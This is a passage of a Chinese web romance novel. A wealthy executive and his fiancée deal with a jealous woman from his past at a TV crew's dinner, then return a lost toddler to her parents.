曲荷轻轻点了点没贴医用贴的地方,“好了,穿上吧。”
庄别宴没想到她那么快就看完了,慢吞吞地穿上衣服,恨不得一个动作放慢十倍。
“看起来伤口恢复得不错,那今天洗澡,我就不用帮你了吧?”
刚说完这句话,庄别宴就倒吸一口凉气,“嘶”了一下。
他转身抓住了曲荷还没来得及收回的手,“还没完全好,刚才转身的时候还疼。阿荷,再帮我几天好不好?”
曲荷睨了他一眼,昨天拆绷带的时候医生明明说了伤口恢复得很好,早就不用人帮忙了。
可看着他眼里的期待,她懒得拆穿他,轻轻“嗯”了声。
吃完午饭,节目组的车已经到了楼下。
曲荷十分钟前就和庄别宴说要下楼了,却被他缠着以“下午你不能陪我,也不让打电话”为理由,在沙发上被压着亲了好久。
“我要下去了,再晚就要迟到了。”
“唔....”他含糊应着。
“把手给我拿出去!”曲荷抓住他作乱的手。
“...好。”
庄别宴嘴上答应,动作却慢悠悠。
最后曲荷以无情一脚占据上风,才得以脱身。
房门打开又合上,她临走前还不忘留下一句“别跟着我”,才离开。
房间趋于安静。
庄别宴揉了揉被她踢到的小腿,无奈一笑。
他就是控制不住想黏着她,说到底还是心里的不安和患得患失在作祟。
他起身正准备收拾一下沙发,刚走两步,就听到敲门声响起。
以为是曲荷落了东西,庄别宴快步走向门口,嘴角还带着笑意:“是不是什么东西落下了,我就说你刚才走得太...”
话音在拉开门的那瞬间戛然而止。
看到门外站着的人,庄别宴脸上的笑意瞬间冻结,一点点沉了下去,目光变得疏离又冷冽。
第111章 我太太会误会
走廊里,感应灯昏黄的光晕落在燕舒攥着保温桶的手指上。
在听到门内传来的脚步声时,她的心跳不自觉加快。
门开瞬间,她扬起对着镜子模仿了曲荷无数次的笑,可在看到庄别宴冷硬的眉眼后,嘴角的弧度却僵硬了。
“庄先生。”
燕舒刚叫了她一声,可庄别宴的手已经按在了门把手上,明显是要关门的架势。
她毫不犹豫伸手去挡,门框撞上手腕骨,红痕立现。
“庄先生...”
她像是不知道痛一般,固执扒着门框,声音颤抖,“我..我给您带了些效果很好的伤药,还有..这是我熬了很久的汤,对伤口愈合有好处,您...”
“不需要,我太太会误会。”庄别宴声音没有半点温度。
他目光扫过她身上的衣服时,眉头蹙了下。
燕舒听到他毫无犹豫地拒绝心凉了半截,今天她特意穿着和曲荷类似的衣服,为什么这样都不能得到他正眼相看。
自从他回国后,她就再也没能像今天这样离他这样近。
多少年了?
他永远都是这样疏离冷漠,本以为他向来如此,可为什么对待曲荷的时候是那样温柔,那样小心翼翼,甚至带着卑微的恐慌。
那样的神情,是燕舒穷尽想象也无法在眼前这个男人脸上勾勒出的。
她不甘!
她嫉妒!
她恨她!
“庄先生,”燕舒咬了下唇,声音带着一丝哀婉,“难道您都忘了吗?我们在英国那些日子...我陪您了那么久,难道都比不上她这短短几个月吗?”
庄别宴终于正眼看她,眼神锐利,“所以,你是想好要来兑现那个要求了?”
他从未给燕舒任何错觉,当年的帮助他早已用资源和金钱偿还,但离开前还是允诺她一个要求,只要不越界,他都会应。
燕舒心脏缩了一下。
她望向他,带着孤注一掷的偏执,“我想要什么,您一直都知道不是吗?我只是想要您记得,我们曾经...”
庄别宴眼神瞬间为危险取代,他压低声音,“我警告过你,有些事应该烂在肚子里。”
“可那是我们的回忆!”
燕舒情绪突然激动起来,声音带着哭腔。
她知道庄别宴讨厌那段过往,可她偏要揭开这层遮羞布。
她仰起脸,泪光闪烁,“我十八岁就认识您了!在英国那几年,是我陪您度过的。她曲荷才出现多久?她了解您的过去吗?她什么都不知道!明明...明明我才是陪您最久的那一个!”
“您回国后,我就是靠着那些回忆才熬过来的!那对我来说不是该烂掉的过去,是我活下去的念想!”
庄别宴看着她,眼神没有半分动容,反而像是在看一个不可理喻的疯子。
他这样冰冷无情的眼神,燕舒陌生又熟悉。
这份无情不曾因岁月改变分毫,可为什么他在曲荷面前,却能露出那样温柔宠溺的神情?
那是她守了他那么多年,从未见过的。
但尽管如此,可她还是像犯了贱一样,无可救药偏执地爱着他。
“您就这么喜欢她吗?”燕舒声音发哑。
看着他眼底不加掩饰的厌恶和不解,她的理智被嫉妒和酸涩彻底吞没,像是被某种冲动驱使一般,向前一步想要抱住他。
庄别宴立刻后退一步,他已经彻底失去耐心,欲强行关门。
“庄先生!”
燕舒不管不顾扔掉手里的保温桶和药,直接扑了上去。
她紧紧抱住了他的胳膊,脸颊贴在他的衣服上,隐约能闻到他身上淡淡的雪松味,和当年在英国一模一样。
“我十八岁就认识您了..为什么...为什么您就不能看看我?为什么不要我?”
庄别宴身体僵硬了一瞬,下一秒用力把她拉开。
燕舒踉跄了两步。
庄别宴厌恶地看了眼袖口上的眼泪渍,眼神冰冷彻骨。
“燕舒,你最好清醒一点。你现在住的房子,开的车,甚至你公司的资源,所有的名利地位光环都是我给的。我能给你这些,也能随时收回来。”
他看着她泛红的眼眶,没有半分怜悯,强大的压迫感几乎让她窒息:“记住我的规矩,也记住自己的位置。不该想的,别想,不该做的,别做,更别试图打扰她,这是最后一次警告。”
说完,他不给她任何机会,向后一步,重重摔上门,彻底隔绝了门外的一切、
燕舒被这关门声震得浑身一颤,耳膜发疼,心里最后一丝希冀也被彻底打碎。
她看着眼前紧闭的门板,脸上血色尽失,眼泪无声滑落。
良久,她缓缓抬起头,目光掠过走廊尽头上面那个闪着红点的监控摄像头,眼底闪过一抹鱼死网破的疯狂。
......
摄影棚灯光熄灭,曲荷揉了揉酸胀的脖子,拍
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宣传照这事不是专业人还真是难。
她边嘀咕边给庄别宴发消息,刚走到门口,正好撞上了燕舒一行人。
她被助理拥护着走来,脸上架了副能遮住半张脸的墨镜,看不出表情。
她穿着件香槟色吊带裙,步履匆匆,脚下生风。
只是右手手腕处贴着块大号医生创口贴,边缘还隐约透着红,格外显眼。
曲荷在那处停留了一会,还没来得及移开目光就和燕舒看过来的眼神撞上了。
她颔首点了下头,嘴角勾起了抹标准的笑,擦肩而过的时候,曲荷莫名觉得后脖子一凉,心慌慌。
等燕舒拍完宣传照,大家收拾妥当一起出发去餐厅。
聚餐地点是一家私密性很好的餐厅包厢。
导演组和节目制片人加上几个编剧坐在一桌,曲荷本想和唐甜坐一起,可却被相熟的编导小姐姐拉到了主桌。
“曲荷姐,您可是咱们节目的灵魂人物,怎么能跑到别桌!”
她无奈,只好坐下。
而她的旁边,正好是摘了墨镜,妆容精致的燕舒。
燕舒侧头,对她笑了笑,她今天的眼妆格外浓,像是为了可以遮掩什么。
她先开口,语气熟稔,“曲荷老师,今天拍摄怎么样?”
曲荷回以微笑点头,“挺顺利的。”
说着,她的目光再次落向她受伤的手:“燕舒老师,您的手...没事吧?看起来伤得不轻。”
燕舒立刻把手缩到桌下,端起水杯抿了口,故作轻松:“没事,下午回酒店整理画架的时候被砸到了,只是有点红肿和淤青。”
“那要多小心。”曲荷关心。
“谢谢关心。”
两人寒暄了几句。
燕舒忽然抬手,摘下脖子上的丝巾,一枚羊脂玉吊坠露了出来。
不是之前那一枚。
曲荷心跳颤了颤。
尽管庄别宴信誓旦旦保证他和燕舒没关系,但女人的第六感却让曲荷觉得这事没有那么简单。
那枚燕舒脖子上仅有一面之缘的羊脂玉扣,就像个谜团一样,缠着她的思绪,让她心里不安。
正想着找什么理由和燕舒打听一下山吃那枚羊脂玉扣的来历,包厢门突然被推开。
导演爽朗的大嗓门传了过来,“大家快来看看谁来了!”
曲荷闻声回头,正好撞进了庄别宴的深邃的眼睛里。
这人怎么来了?
下午不是答应他了?
第112章 孔雀开屏
庄别宴站在门口,穿着黑色暗纹衬衫,最上面两颗扣子随意解开,袖口挽到小臂,露出流畅的手腕线条。
他被几个执行导演簇拥着上前,身上那股惯有的冷峻气场随之而来。
可目光在落到曲荷身上后又变得柔和,甚至眼底闪过了一丝微妙的心虚。
他几步走到曲荷边上,目光淡淡扫过全场,声音不大却清晰:“路过附近,过来看看,大家继续。”
导演笑着走过来,“庄总您能来,咱们晚上可是蓬荜生辉啊!快!给庄总在曲荷老师旁边加个座。”
服务员很快就清出位置,连椅垫都特意换了个新的。
庄别宴颔首落座,在桌子下亲昵地寻到曲荷的手,在她掌心暧昧地挠了挠。
他这一动作全然落入了旁边燕舒眼里,她的脸色瞬间沉了几分,握着水杯的手指逐渐泛白。
“你怎么来了?”
曲荷抽出手戳了戳他的胳膊,侧头压低声音问,“不是都说好了吗?”
庄别宴给她倒了杯花茶,面色不改,“你给我发消息了。”
曲荷无语。
“我明明给你发的是刚开始吃饭,大概还要两三个小时才结束。”
“哦?”
庄别宴扫了眼桌上的菜色,叫来服务员加了几个曲荷爱吃的菜。
他慢悠悠地说:“哦,那可能是我太想你了,所以看错了时间。”
“你....”
曲荷气结,这男人现在撒谎还真是信手拈来,不打草稿啊。
要不是当着那么多人面,真想锤他一拳。
正想着,手里突然被塞进来一个冰凉的小塑料盒,低头看是她装过敏药的分装药盒。
她看向他,疑惑不解。
庄别宴勾了勾她的小指,带着哄人的意味:“给你来送药。”
“谢谢你啊!”
曲荷睨了他一眼,把药盒塞回他手里。
庄别宴眉梢微挑,若有所思点了下头,收起药盒。
“不吃也行,那看来等会只能让我挡酒了。”
“你伤还没好呢!我今晚就没打算打算喝酒,生理期快到了,来之前都和大家说好了,你也不许喝。”
庄别宴弯了下唇,乖乖应下:“好,都听你的。”
曲荷看着他嘴角那抹弧度,瞬间明白了,刚才他这是在她下套呢!
她在桌子底下掐了他的大腿,然后若无其事起身,端着茶杯去敬导演组。
去往隔壁桌的时候,庄别宴不知什么时候跟了上来,自然地站在她身侧,像模像样学着她也拿了杯茶。
那几个年轻的工作人员和嘉宾看到庄别宴,顿时紧张了不少,赶紧躬身准备倒酒。
庄别宴单手盖住杯口,语气淡淡:“心意领了,酒就不喝了。曲老师给我下命令了,怕晚上进不了门。”
“噗呲~”有人没忍住笑出声。
曲荷闹了个大红脸,转头羞恼地瞪了他一眼,给了他一个“回去再找你算账”的眼神。
庄别宴一脸无辜,顺势搂住她的腰,把她往怀里带了带,姿态亲昵。
导演组哪个不是人精,笑着打哈哈。
“庄总身上有伤,确实不宜饮酒。理解理解,那您就和曲荷老师一样,以茶代酒。来!咱们一起敬庄总和曲老师一杯!”
众人举杯,一饮而尽,气氛再次热络起来,曲荷不免成为了话题中心。
庄别宴抬了抬手示意,门边的服务员看到后躬身点头出去。
很快门被再次推开,几个西装笔挺的服务员带着白手套走了进来,每个人手上都捧着一瓶明显价值不菲的顶级名酒。
“身体不适不宜饮酒,为表歉意,希望大家尽心,也感谢这段时间大家对曲荷的照顾。”
庄别宴语气淡然,礼数却周到。
在场人都能看出,服务员手上那几瓶酒都可以包下今天整个餐厅的费用了,可庄别宴却像是送出了几瓶水一样。
导演组笑得嘴都合不上来,三句话里两句都是对两人的祝福。
庄别宴很是受用,进门时冷硬的眉眼也逐渐柔和了不少,看向曲荷的眼神几乎能拉丝。
自从导演开了个祝福的头后,后面每个来敬酒的人都会附上一句祝福:
“庄总跟曲荷老师真是天造地设的一对,祝你们幸福。”
“曲荷姐,庄总对您真的没话说,真的太宠了!羡慕**!”
“曲荷姐,实不相瞒,其实我也是宴曲CP粉,你们一定要幸福啊!”
“祝庄总和曲荷老师百年好合,早生贵子!”
诸如此类祝福的话一句接着一句,曲荷都怀疑自己不是在和节目组聚餐,而是误入了自己的结婚宴,提前体验了一把敬酒环节。
一圈下来,曲荷看着旁边的男人比她还上头,一整个孔雀开屏的样子。
敬完酒回座位那几步路,庄别宴始终搂着她的腰。
他低下头,贴着她的耳廓,气声低语:“阿荷,你
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说刚才我们像不像新郎新娘敬酒。”
他的话里含着笑意和浓浓的期待。
曲荷心里被一股甜蜜包围,酥酥麻麻的。
她没有直接回答,抓着他端着茶杯的手放到鼻子下闻了闻,“你也没喝酒啊。”
“酒不醉人人自醉。”
“少贫。”
“阿荷,”庄别宴手下移和她十指相扣,声音更沉,更认真,“还有三个月不到就是我们的婚礼了,我每天都在数日子。”
曲荷没回答,但是嘴角的弧度却不自觉上扬了几分。
她勾了下手指,在他掌心轻轻挠了下,却换来他更用力地握紧。
所有的忐忑不安,似乎都在他这番幼稚却直接的宣告中被悄悄抚平了大半。
回到原位坐下,菜已经上齐了。
曲荷想着庄别宴伤还没好利索,在外面多少要给他一些面子,就拿过汤勺,准备给他舀碗汤。
可她手刚准备伸出去,旁边的人却快她一步。
燕舒突然起身,端着碗热气腾腾的汤,越过了曲荷,停在了她和庄别宴中间。
那碗汤盛得很满,升起的白色热气几乎贴着她手背的医用创口贴,格外刺眼。
“庄总,上次的意外,多谢您的帮助。听说您的伤还没好,这是我特意叮嘱厨房做的药膳汤。”
燕舒的目光直直看向庄别宴,全然当旁边的曲荷是个透明人一般。
从刚才他一进门,所有的注意力,所有温柔就全都只给了曲荷一个人。
那些旁若无人的亲昵低语,自然无比的小动作,还有刚才接受祝福时他眼底的满足,无一不在刺痛她的眼。
她在这里看着他们像一对新人一样敬酒,接受着大家祝福,心像是被刀割一样。
燕舒捧着这碗滚烫的汤,就像是在捧着自己的卑微和固执,手被热气熏得发红,却没动一下,就等着庄别宴接过去。
她拿上次帮忙的事当感谢,他没理由拒绝。
气氛安静了下来。
包厢里所有人的低头装作夹菜,可余光都不自觉在三人身上逡巡。
空气弥漫着尴尬,别说咀嚼食物的声音了,大家的呼吸声都低了几分。
热气腾腾的汤盛得很满,燕舒的手因为长时间悬空,不自觉颤抖了一下,看起来摇摇欲坠,再加上她手背上贴着的医用贴,大家心里都有些于心不忍。
就在那碗汤几乎就要端不住的时候,庄别宴终于动了下身子。
第113章 三人各怀心思
他侧身,慢慢抬手。
燕舒眼底闪过一丝希冀。
就在所有人都以为庄别宴会接过她手里的汤碗时,他的手突然拐了个弯,完全无视了那碗汤,径直伸向桌上的清蒸东星斑。
他拿起公筷,夹了快中间最鲜嫩的鱼腹肉,剃掉刺后自然地放到了曲荷面前的小碟子里。
燕舒:“.....”
其他人:“......”
曲荷看着碟子里的鱼肉,心头产生了一抹复杂。
她早在刚才就注意到了燕舒的眼神,无论她和庄别宴走到哪里,身后总有一抹视线跟随。
偶然间一个回眸,还会撞进那眼眸里。
是不加掩饰的欲望,是爱而不得的嫉妒和疯狂。
而也在这一刻,曲荷终于明白为什么才仅仅见了几面,燕舒就对自己会有那么大的敌意。
她喜欢庄别宴,可偏偏现在站在他身边的人不是她。
本想着多一事不如少一事,好好吃完这顿饭就行,却奈何有人非要自讨没趣。
曲荷先在心里默默记了庄别宴一笔,然后压下情绪,扬起微笑。
她伸手接过燕舒手里的汤,放到一边,“谢谢燕舒老师,他不喝。”
曲荷拿起湿毛巾擦干净手,“医生交代过,他伤口正在恢复期,饮食需要我盯着,外人的东西不太方便。”
说着,转头看向正在帮她剥螃蟹的男人,“对吧,老公?”
庄别宴剥螃蟹的手顿了顿,抬头眼里满是笑意,“嗯,听老婆的。
燕舒的脸上的笑彻底僵了。
“那..是我考虑不周了。”
她笑得很难看,桌子底下的手紧了紧,强撑着坐回座位。
几个有眼力的导演察觉到了空气中的**味,笑着打哈哈,找了几个话题掀过了这一章。
气氛重新活络,继续推杯换盏。
酒过三巡,不少人都带了醉意。
几个胆子大的年轻导演和嘉宾起哄,搂着制片人脖子,吵吵嚷嚷走向包厢里的隔间唱歌。
动感嘈杂的音乐声很快透过墙壁传了过来,不少人被气氛带动,跟着哼唱,离席摇摆。
唯有主桌这一角,像是被无形的屏障隔绝开来。
三个人各怀心思,默默地形成了平衡。
曲荷放下筷子,声音带着骄纵:“庄别宴,我想吃虾。”
“好,我给你剥。”
庄别宴动作利落,很快几只剥好的虾仁就落在了曲荷面前的碟子里面。
他手上动作没停,又挑了只螃蟹,慢慢剔出蟹肉,堆叠到碟子里。
“蟹肉嫩,尝尝?”
曲荷扫过这堆剥好的海鲜,心里闷得慌,回了个“嗯”字。
“石榴呢?”
庄别宴见她没动筷,拿过盘子里的石榴,耐心地剥开,细碎的红宝石很快堆成一座山。
曲荷其实一点食欲都没有,胃里像是被什么情绪塞满了,堵得慌。
燕舒投过来的那些目光她不是没注意,尤其刚才那不经意的一瞥,那幽怨的眼神,她心里反而更难受了。
而这也恰恰说明他们之间的问题没有彻底解决,只要想到这个,曲荷就烦躁。
燕舒将这一切尽收眼底,捏着酒杯的手力道大的青筋隐现。
她看着那个在他记忆里永远高高在上,冷漠疏离的男人,现在居然如此耐心地为一个女人处理着琐碎的食物,为曲荷剥壳,挑刺,处理水果。
而面对曲荷生在福中不知福的冷淡,他脸上没有一丝不耐,甚至...甘之如饴。
她何曾见过这样的他。
心口像被拧了一样,酸涩又嫉妒。
凭什么曲荷可以理所当然拥有这些?
明明她才是更早遇见他,陪他更久的人。
放在桌子底下的另一只手狠狠掐着掌心,尖锐的疼痛传来,才让她勉强维持即将崩溃的表情。
她猛地拿起桌上的酒,一口气喝了大半。
烈酒入喉,火烧火燎的刺痛,却不及心口万分之一疼。
燕舒像是感觉不到一般,喝了好几杯,酒意上头,她最终还是没忍住。
“曲荷老师,”
她努力想让自己的表情看起来像是单纯的关心,“庄总的伤还没好吧?这样一直忙前忙后的,要不让他休息一下?”
不用镜子,燕舒都知道,自己此刻脸上的笑有多么僵硬难看。
曲荷听到她的话,半眯了下眼。
她没抬头回应燕舒,筷子漫不经心地戳了戳碗里的虾肉,嘴角勾起了一抹没什么温度的笑意。
“庄别宴,”她转头,看向身边的男人,“你累吗?”
庄别宴给她舀了碗汤,迎上她的目光,语气笃定:“不累。”
“是吗?我看燕舒老师那么关注你,还以为你累了。”
庄别宴顺着她的目光投向燕舒,淡淡颔首:“多谢。”
没有一句多余的话,满是疏离。
曲荷这才转头看向燕舒,“他说他不累。”
燕舒嘴角扯了下。
“不过嘛,燕舒老师提醒的也对。”
曲荷话锋一转,拿起庄别宴面前的空碗,舀了碗汤,“你伤口还没恢复好,是该多补补。”
她把汤端回来,放在庄别宴面前,掌心一伸,做了个请的手势。
庄别宴拿起勺子,尝了口汤,看向曲荷带着笑意,“味道不错,谢谢阿荷。”
燕舒再也坐不住了,猛地站起身,椅子腿和地面摩擦发出刺耳声。
“抱歉,失陪一下。”她甚至都没看两人的反应,就快步走出了包厢。
那逃离的背影,
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狼狈又心碎。
曲荷看着燕舒离开的方向,心里并没有觉得多舒坦,也没有感到什么胜利的快感,随之而来的更深的疲惫和茫然。
庄别宴的目光始终落在曲荷身上,没有错过她脸上的细微情绪变化。
他心头涌起淡淡的恐慌,伸手覆上她微凉的手背,紧紧握住。
“阿荷...”
曲荷没有挣脱,也没有回应,仍由他握着。
这场无声对峙,没有赢家,没有硝烟,只有弥漫在空气中,浓得化不开的酸涩和拉扯。
.....
洗手间外的走廊上铺了厚厚的地毯,来往间行人的脚步被吸收,也隔绝了大部分包厢的喧嚣。
燕舒整理好情绪,补完妆,推门出来,抬头就看到了斜倚在对面墙上的曲荷。
她单腿弯起,小腿交叉,鞋尖有一下没一下点着地。
听到声音后,她缓缓抬头,显然已等候多时。
燕舒擦干手上的水渍,走上前。
既然自己的心思都被知道了,那她也不在维持人前礼貌的样子,下巴微扬,冷冷道:“在等我?”
曲荷听着她话里的戒备和敌意,也不再寒暄,单刀直入:“你和庄别宴什么关系?”
她不是傻的,燕舒刚才看庄别宴的眼神,那种浸透了多年的执念和痛苦,不是一朝一夕就会有的,两人之间肯定有什么。
既然庄别宴不说,那她就来问燕舒。
虽然这样问情敌挺没有骨气的,但总比憋在心里难受好。
燕舒倒是没想到曲荷会这么直接。
她哼了声,双手环胸看她,讥诮道:“我们的关系?他不是都告诉你了吗?还来问我做什么?”
她故意把问题抛了回去。
曲荷盯着她的眼睛,“庄别宴说你家人在英国帮过他,但他和你之间,没有交集。”
“没有交集...”
燕舒喃喃重复了这几个字,像是听到了什么可笑的话,眼底逐渐浮起浓浓的自嘲和苦涩,但很快又被她强压了下去。
“原来,他是这么认为的?”
尽管早就知道一切都是自己一厢情愿,可听到这样绝情的话,还是觉得自己像个笑话。
曲荷看着她脸上的表情,心里浮起淡淡的不安。
这时,燕舒向前逼近一步,酒气扑面而来,“既然他是这么说的,那你就当做这样吧。”
她顿了顿,故意拖长语调,带着刻意引导的模糊:“反正...我一直都是听他的。”
曲荷听着她这句暗示性极强的话,不悦皱了下眉。
她什么都没承认,但好像什么都说了。
他们之间有秘密,而她只是个被蒙在鼓里的外人。
曲荷心底那股好不容易压下的不安和怀疑再次翻涌而上。
第114章 你还挺有当爸爸的样子
从包厢出来,曲荷脑袋里反复回响着燕舒那句带尽委屈和暗示的话。
她说的每一个字都像一根根细小的针,扎在心上,不致命,却绵密地疼。
怀疑和不安缠上心头,燕舒和庄别宴之间,到底有什么过往。
“怎么了?哪里不舒服吗?”庄别宴低沉的声音在耳侧响起。
曲荷回神,刚才沉浸在思绪里,根本没听到庄别宴叫了她好几次。
她抬头,撞进他深邃的眼眸里。
曲荷张了张嘴,话到嘴边又咽了回去。
她该怎么问?
问了又能怎么样?听他再一次用谎言解释另一个谎言吗?
就算他说了真相,那是她能接受的吗?
她不想在不确定的情况下,让猜忌和怀疑毁了此刻的平静。
曲荷笑得勉强,摇了摇头,“没什么,就是有点闷。”
庄别宴目光在她脸上停留了好一会儿,没有追问,牵着她的手往自己身边带了带,“那我们早点回去休息。
“好。”曲荷跟着他往电梯口走。
刚走到电梯口,正准备按电梯,一个约莫三四岁的小女孩跌跌撞撞跑过来,一头撞在了曲荷小腿上。
小女孩扎着两个小丸子头,穿着精致的粉色公主裙,模样可爱极了。
她站稳身子后也不哭闹,抬起肉嘟嘟的小脸就直直盯着曲荷看。
她奶声奶气开口:“漂亮姐姐,你好漂亮啊。”
曲荷阴郁的心情被驱散了大半,都要被她萌化了。
她蹲下来轻轻捏了捏小女孩的丸子头,软软的像棉花。
“谢谢你啊,宝宝。你怎么一个人在这里呀,爸爸妈妈呢?”
她环顾四周,没看到像是孩子家长的大人,不由蹙眉。
看着小姑娘一身奢侈的打扮,家境显然不菲。
这么小的孩子,怎么会一个人在这里,走丢了吗?
正想着,小姑娘就伸出肉嘟嘟的手,拉住了她的手指,像小大人一样叹了口气。
“漂亮姐姐,我叫陆霜宁,你能带我找爸爸妈妈吗?他们刚刚还带着弟弟在旁边呢,突然就不见了。”
曲荷心里咯噔,瞬间脑补了一出狗血豪门里重男轻女,弄丢女儿的戏码。
正想再问得仔细一点,小女孩突然打了个大大的哈欠,身子一软往前一扑进了她怀里,小脑袋还在她颈窝蹭了蹭。
曲荷一时有些手足无措,这条小姑娘心还真大,随便倒在陌生人怀里就能睡着。
她一动不敢动,僵着脖子抬头看了眼庄别宴,“这..这怎么办?”
庄别宴眼底掠过笑意,弯腰俯身,单手从她怀里抱过小姑娘,另一只手自然地牵住了她的手,“走吧。”
曲荷愣愣,任由他牵着,“去哪?”
“带迷路儿童找爸妈。”
“啊?你知道她爸妈在哪?”
曲荷疑惑,人家小姑娘什么都没说,你就知道了?
庄别宴侧头看她笑了笑,“嗯,马上就来了。”
曲荷将信将疑,跟着他走进电梯。
电梯门隔绝外面的喧嚣,只剩下他们和怀里呼吸均匀的小女孩。
曲荷透过电梯镜面看着旁边的男人。
他抱着陆霜宁的姿势非常稳妥,手掌小心托着孩子后背,让她稳稳靠在臂弯里,一看就是养庄禧带出来的经验。
此刻他身上没有了在外人面前的冷峻,气场居然神奇地柔和了下来。
看着他那副小心翼翼的模样,曲荷的心不知道被什么东西轻轻撞了一下。
她好像...从他身上窥见了未来庄别宴当爸爸的影子。
就在这时,庄别宴突然转过头,她的目光来不及收回,撞个正着。
“在看什么?”他低声问。
男人刻意压低的声音显得格外温柔。
曲荷心跳漏了半拍,不知道是被当下这个氛围蛊惑,还是他抱着孩子的样子触动到了她,几乎是脱口而出,“感觉...你还挺有当爸爸的样子的。”
话说出口瞬间,她看到庄别宴轻轻挑了下眉。
曲荷愣住了,懊恼地咬了下舌头。
怎么就把心里话说出来了。
庄别宴也是没料到她突然会说这个,眼底闪过一丝诧异,但很快就化为了更深的笑意。
他调整了下抱着孩子的姿势,小心腾出空着的手在她手背上轻轻摩挲。
他侧身低头,声音压得极低,“是吗?那看来我晚上要再努力努力了?”
曲荷没好气瞪了他一眼,抽回自己的手,“你胡说什么呢?说好了暂时不提这事
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的。”
心跳因为他刚才这句直白的话失控加速,但很快又被一股更酸涩的情绪压了下去。
她又想起刚才燕舒说的话,那些话像一盆冷水瞬间浇灭了所有的悸动,瞬间清醒。
曲荷转头避开她的视线,他们之间还横亘着很多未解释的谜团,还有他和燕舒的过往。
他和燕舒之前究竟了发生了什么,在无法确定那些他那些不知道的过去,会不会影响到未来之前,她决不能,也绝不会考虑孩子的事。
有了孩子,就等于把自己彻底绑在了庄别宴身上。
她爱庄别宴,但不能再像以前那样,也不敢再轻易交付真心,最后落得满身狼狈。
她要对自己的人生负责。
庄别宴察觉到了她情绪的低落,蹙眉正想说什么,电梯门刚好打开。
两人前后脚走出电梯,还没走几步,就看到一个打扮精致的女人朝他们小跑着过来,一身米白色连衣裙衬得她气质温婉,但脸上却满是焦急。
女人身后还跟着一个身材挺拔的男人,西装革履模样俊朗,肩上还扛着一个....小男孩。
小男孩穿着格子衬衫背带裤,一颠一颠的紧紧攥着脖子上的黑色小领结,皱着眉头像个小大人。
女人直奔庄别宴怀里的小女孩,声音都带着颤,“陆霜宁...”
想必这应该是小女孩的妈妈,曲荷赶紧上前解释,“你好,我们是在三楼电梯口见到的她,刚想带她找爸妈来着,我们不是坏人,你别担心...”
女人眼眶泛红,情绪有些激动,身后的男人走上前搂着她的腰,目光却落在了庄别宴身上,眸光微眯。
他视线转移到庄别宴怀里的女孩身上,声音宠溺但严厉:“陆霜宁!别装睡了!把你妈妈气哭一个月不准吃蛋糕。”
话音刚落,原本睡觉的陆霜宁立马睁眼,从庄别宴怀里抬头,笑眯眯地转头看向男人。
她伸出两只手,奶声奶气说着,“妈妈,抱抱宝宝。”
曲荷见状,赶紧从庄别宴怀里接过孩子,小心翼翼递给女人。
女人接过孩子,紧紧抱在怀里拍背安抚。
这时,男人放下肩上的小男孩,朝庄别宴伸手,语气熟稔,“好久不见,庄总。”
第115章 要备孕呐?
庄别宴伸手和他交握,但很快就分开,“陆总。”
两人目光对视,气场不相上下。
曲荷在一旁惊讶:“..?”
原来他们认识?怪不得刚才庄别宴这么有底气能找到陆霜宁爸妈。
庄别宴抽回手,搂着曲荷贴向自己,和她介绍,“世嘉传媒的陆总,陆氏集团继承人,陆津川。”
曲荷恍然,哦了声。
难怪觉得眼熟,原来这个男人居然是陆津川,那个当年在北城登报结婚,还霸占了大半个月新闻版面的男人!
那他身边的女人,就是他的妻子,纪舒?
曲荷赶紧和他们打招呼,“陆总,纪舒姐,你们好。”
纪舒抱着陆霜宁,朝她笑了笑,眉眼温柔,“你好,我是纪舒,今天太谢谢你们了。”
曲荷笑笑,“没关系,霜宁很可爱。”
纪舒刮了下陆霜宁的鼻子,无奈叹气,“霜宁比较活泼,刚才给弟弟换个尿不湿的功夫转头她就不见了,吓死我了,还好是遇到你们了。”
陆霜宁趴在妈妈怀里,偷偷看了眼站在妈妈旁边的小男孩,吐了吐舌头,“纪宴礼羞羞,三岁了还穿尿不湿。”
被叫做纪宴礼的男孩耳朵红了红,不好意思地低下头,攥着小领结的手更紧了。
陆津川无奈看了眼自家女儿:“你今年也三岁,不也是穿尿不湿过来的?刚脱掉没多久,就好意思说弟弟了?”
陆霜宁生气,噘着嘴往纪舒怀里缩了缩,“爸爸坏,妈妈好。”
曲荷看着这一家四口的互动,忍不住笑出来。
纪舒颠了颠怀里小人,“快和曲荷阿姨和庄叔叔说谢谢。”
陆霜宁抬起头,对着曲荷甜甜一笑,小奶音能腻**,“谢谢曲荷姐姐~。”
然后又看向旁边的庄别宴,规规矩矩说了句:“也谢谢庄叔叔。”
旁边的纪宴礼非常有礼貌,也对着两人鞠了个小躬,“谢谢叔叔阿姨。”
同样是道谢,称呼却差了一截,庄别宴脸色沉了沉。
曲荷赶紧拉着庄别宴的手说,“是庄别宴认出的霜宁。”
她晃了晃他的手,庄别宴回握住,淡淡道,“在陆总朋友圈看到过孩子照片。”
陆津川拖长语调,哦了声。
“原来大忙人庄总也会看我的朋友圈?没办法,宝爸都是这样,庄总以后就懂了。”
陆津川常年被庄别宴压着一头,好不容易才看到他吃瘪的样子,心里大爽,心里给女儿竖了个大拇指。
他朝庄别宴抬抬下巴,散漫开口:“怎么着,孩子他叔叔,难得碰上,要不要上去喝一杯?”
庄别宴搂着曲荷的手紧了紧,淡然拒绝:“不了,戒酒。”
陆津川:“你不是说了结婚就喝酒吗?”
他嚯了声,意味深长看了他一眼,“怎么着?这是..有情况了,忙着备孕呐?看来好事将近啊,等着你晒孩子照片。”
备孕?
曲荷赶紧摆手解释,“没有没有,陆总误会了!是他背上受伤了,伤口还没好,医生叮嘱绝对不能喝酒的!”
纪舒在旁边看着陆津川看热闹不嫌事大的样子,无奈捅了下他胳膊肘,低声嗔怪,“你少说两句。”
庄别宴倒是坦然,面对调侃,面色不改。
他抬眼对上陆津川戏谑的目光,眉梢一挑,“怎么?陆总这是经验之谈?看来当年没少为备孕做准备功课?”
陆津川被反将一军,非但不尴尬,反而自豪揽过纪舒的肩。
他得意扬起下巴,带着几分过来人的优越感,“那是自然,不然你以为我这双儿女怎么来的?天上掉下来的?这种人生大事,当然要提前规划,精心准备!”
末了还不忘添油加醋补一句:“庄总,抓紧啊。年纪也不小了。”
庄别宴淡定回怼,“不劳陆总费心,有些事贵精不在多。”
他目光淡淡扫过纪舒怀里古灵精怪的陆霜宁和乖巧安静的纪宴礼,“当然,陆总儿女双全,福气确实令人羡慕。”
他话虽这么说,但丝毫听不出来有一丝羡慕,反而有一种欠扁的感觉。
两个在商场上叱咤风云的男人现在却像高中生一样,用一本正经的语气进行着最幼稚的攀比和暗搓搓的炫耀。
